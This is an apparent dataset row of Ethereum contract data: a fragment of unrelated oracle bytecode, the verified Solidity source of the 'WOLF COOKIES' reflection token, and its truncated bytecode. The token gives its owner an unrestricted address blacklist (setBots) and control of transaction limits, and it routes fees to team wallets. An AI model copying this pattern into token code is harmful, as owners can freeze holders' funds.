e42087e84a3bfc36041d3b281266d04ae1962185092fb24481604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561221c57600080fd5b505af1158015612230573d6000803e3d6000fd5b505050506000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561229d57600080fd5b505afa1580156122b1573d6000803e3d6000fd5b505050506040513d60608110156122c757600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091506000826dffffffffffffffffffffffffffff1611801561232157506000816dffffffffffffffffffffffffffff16115b612393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f696e76616c69642d7265736572766573000081525060200191505060405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156123fd57600080fd5b505afa158015612411573d6000803e3d6000fd5b505050506040513d602081101561242757600080fd5b810190808051906020019092919050505090506000811415612494576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612a756024913960400191505060405180910390fd5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156124fe57600080fd5b505afa158015612512573d6000803e3d6000fd5b505050506040513d602081101561252857600080fd5b810190808051906020019092919050505090506000811415612595576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612abf6024913960400191505060405180910390fd5b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156125fd57600080fd5b505afa158015612611573d6000803e3d6000fd5b505050506040513d602081101561262757600080fd5b8101908080519060200190929190505050905060007f000000000000000000000000000000000000000000000000000000000000000061267785886dffffffffffffffffffffffffffff16612824565b8161267e57fe5b04905060007f00000000000000000000000000000000000000000000000000000000000000006126be85886dffffffffffffffffffffffffffff16612824565b816126c557fe5b049050600083612703670de0b6b3a76400006002026126ec6126e78787612824565b6128b9565b6fffffffffffffffffffffffffffffffff16612824565b8161270a57fe5b0490507001000000000000000000000000000000008110612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f71756f74652d6f766572666c6f770000000081525060200191505060405180910390fd5b809850505050505050505090565b600082828403915081111561281e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f7375622d756e646572666c6f77000000000081525060200191505060405180910390fd5b92915050565b600080821480612841575082828385029250828161283e57fe5b04145b6128b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f554e4956324c504f7261636c652f6d756c2d6f766572666c6f7700000000000081525060200191505060405180910390fd5b92915050565b6000808214156128cc5760009050612a31565b600082905060006001905070010000000000000000000000000000000082106128fe57608082901c9150604081901b90505b68010000000000000000821061291d57604082901c9150602081901b90505b640100000000821061293857602082901c9150601081901b90505b62010000821061295157601082901c9150600881901b90505b610100821061296957600882901c9150600481901b90505b6010821061298057600482901c9150600281901b90505b6008821061299057600181901b90505b600181858161299b57fe5b048201901c905060018185816129ad57fe5b048201901c905060018185816129bf57fe5b048201901c905060018185816129d157fe5b048201901c905060018185816129e357fe5b048201901c905060018185816129f557fe5b048201901c90506001818581612a0757fe5b048201901c90506000818581612a1957fe5b049050808210612a295780612a2b565b815b93505050505b919050565b604051806040016040528060006fffffffffffffffffffffffffffffffff16815260200160006fffffffffffffffffffffffffffffffff168152509056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a2646970667358221220d424454c9ab8c7b2cf2f28afaa9dcf55cab60706c978a1cbdbd139b15a90314764736f6c634300060c0033554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d61646472657373554e4956324c504f7261636c652f696e76616c69642d7372632d61646472657373a26469706673582212201b047ccf269bc6f1bf326fa36f68de7d19b96ee70fe4ef84d7233302aeff2af764736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,907 |
0x90be2bc35da02340b03ef6a1ec1ecc7d08d64254 | /**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
/*
WOLF COOKIES
http://t.me/wolfcookies
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WOOKIES is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "WOLF COOKIES 🍪";
string private constant _symbol = 'WOOKIES 🍪';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf9146104a7578063d543dbeb146104bc578063dd62ed3e146104e657610134565b8063b515566a146103e2578063c3c8cd801461049257610134565b8063715018a61461034e5780638da5cb5b1461036357806395d89b4114610394578063a9059cbb146103a957610134565b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102da5780636fc3eaec1461030657806370a082311461031b57610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e610521565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610558565b604080519115158252519081900360200190f35b34801561021c57600080fd5b50610225610576565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b03813581169160208101359091169060400135610583565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b031661060a565b005b3480156102bb57600080fd5b506102c46106b3565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad600480360360208110156102fd57600080fd5b503515156106b8565b34801561031257600080fd5b506102ad61076f565b34801561032757600080fd5b506102256004803603602081101561033e57600080fd5b50356001600160a01b03166107a3565b34801561035a57600080fd5b506102ad61080d565b34801561036f57600080fd5b506103786108d9565b604080516001600160a01b039092168252519081900360200190f35b3480156103a057600080fd5b5061014e6108e8565b3480156103b557600080fd5b506101fc600480360360408110156103cc57600080fd5b506001600160a01b03813516906020013561091f565b3480156103ee57600080fd5b506102ad6004803603602081101561040557600080fd5b81019060208101813564010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610933945050505050565b34801561049e57600080fd5b506102ad610a17565b3480156104b357600080fd5b506102ad610a54565b3480156104c857600080fd5b506102ad600480360360208110156104df57600080fd5b5035610f8c565b3480156104f257600080fd5b506102256004803603604081101561050957600080fd5b506001600160a01b03813581169160200135166110a3565b60408051808201909152601681527f574f4c4620434f4f4b4945532026233132373835303b00000000000000000000602082015290565b600061056c6105656110ce565b84846110d2565b5060015b92915050565b683635c9adc5dea0000090565b60006105908484846111be565b6106008461059c6110ce565b6105fb85604051806060016040528060288152602001612308602891396001600160a01b038a166000908152600460205260408120906105da6110ce565b6001600160a01b0316815260208101919091526040016000205491906115ed565b6110d2565b5060019392505050565b6106126110ce565b6000546001600160a01b03908116911614610674576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0316600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600990565b6106c06110ce565b6000546001600160a01b03908116911614610722576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6010546001600160a01b03166107836110ce565b6001600160a01b03161461079657600080fd5b476107a081611684565b50565b6001600160a01b03811660009081526006602052604081205460ff16156107e357506001600160a01b038116600090815260036020526040902054610808565b6001600160a01b03821660009081526002602052604090205461080590611709565b90505b919050565b6108156110ce565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60408051808201909152601181527f574f4f4b4945532026233132373835303b000000000000000000000000000000602082015290565b600061056c61092c6110ce565b84846111be565b61093b6110ce565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a13576001600760008484815181106109bb57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790556001016109a0565b5050565b6010546001600160a01b0316610a2b6110ce565b6001600160a01b031614610a3e57600080fd5b6000610a49306107a3565b90506107a081611769565b610a5c6110ce565b6000546001600160a01b03908116911614610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60135474010000000000000000000000000000000000000000900460ff1615610b2e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b8f9030906001600160a01b0316683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b5051604080517fad5c464800000000000000000000000000000000000000000000000000000000815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c5b57600080fd5b505afa158015610c6f573d6000803e3d6000fd5b505050506040513d6020811015610c8557600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b5051601380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039283161790556012541663f305d7194730610d63816107a3565b600080610d6e6108d9565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b50505050506040513d6060811015610e0457600080fd5b505060138054673afb087b876900006014557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff9092167601000000000000000000000000000000000000000000001791909116770100000000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790819055601254604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b505050565b610f946110ce565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6110696064611063683635c9adc5dea00000846119b1565b90611a0a565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166111175760405162461bcd60e51b815260040180806020018281038252602481526020018061237e6024913960400191505060405180910390fd5b6001600160a01b03821661115c5760405162461bcd60e51b81526004018080602001828103825260228152602001806122c56022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112035760405162461bcd60e51b81526004018080602001828103825260258152602001806123596025913960400191505060405180910390fd5b6001600160a01b0382166112485760405162461bcd60e51b81526004018080602001828103825260238152602001806122786023913960400191505060405180910390fd5b600081116112875760405162461bcd60e51b81526004018080602001828103825260298152602001806123306029913960400191505060405180910390fd5b61128f6108d9565b6001600160a01b0316836001600160a01b0316141580156112c957506112b36108d9565b6001600160a01b0316826001600160a01b031614155b156115905760135477010000000000000000000000000000000000000000000000900460ff16156113e3576001600160a01b038316301480159061131657506001600160a01b0382163014155b801561133057506012546001600160a01b03848116911614155b801561134a57506012546001600160a01b03838116911614155b156113e3576012546001600160a01b03166113636110ce565b6001600160a01b0316148061139257506013546001600160a01b03166113876110ce565b6001600160a01b0316145b6113e3576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b6014548111156113f257600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561143457506001600160a01b03821660009081526007602052604090205460ff16155b61143d57600080fd5b6013546001600160a01b03848116911614801561146857506012546001600160a01b03838116911614155b801561148d57506001600160a01b03821660009081526005602052604090205460ff16155b80156114b6575060135477010000000000000000000000000000000000000000000000900460ff165b156114fe576001600160a01b03821660009081526008602052604090205442116114df57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b6000611509306107a3565b6013549091507501000000000000000000000000000000000000000000900460ff1615801561154657506013546001600160a01b03858116911614155b801561156e5750601354760100000000000000000000000000000000000000000000900460ff165b1561158e5761157c81611769565b47801561158c5761158c47611684565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115d257506001600160a01b03831660009081526005602052604090205460ff165b156115db575060005b6115e784848484611a4c565b50505050565b6000818484111561167c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611641578181015183820152602001611629565b50505050905090810190601f16801561166e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc61169e836002611a0a565b6040518115909202916000818181858888f193505050501580156116c6573d6000803e3d6000fd5b506011546001600160a01b03166108fc6116e1836002611a0a565b6040518115909202916000818181858888f19350505050158015610a13573d6000803e3d6000fd5b6000600a5482111561174c5760405162461bcd60e51b81526004018080602001828103825260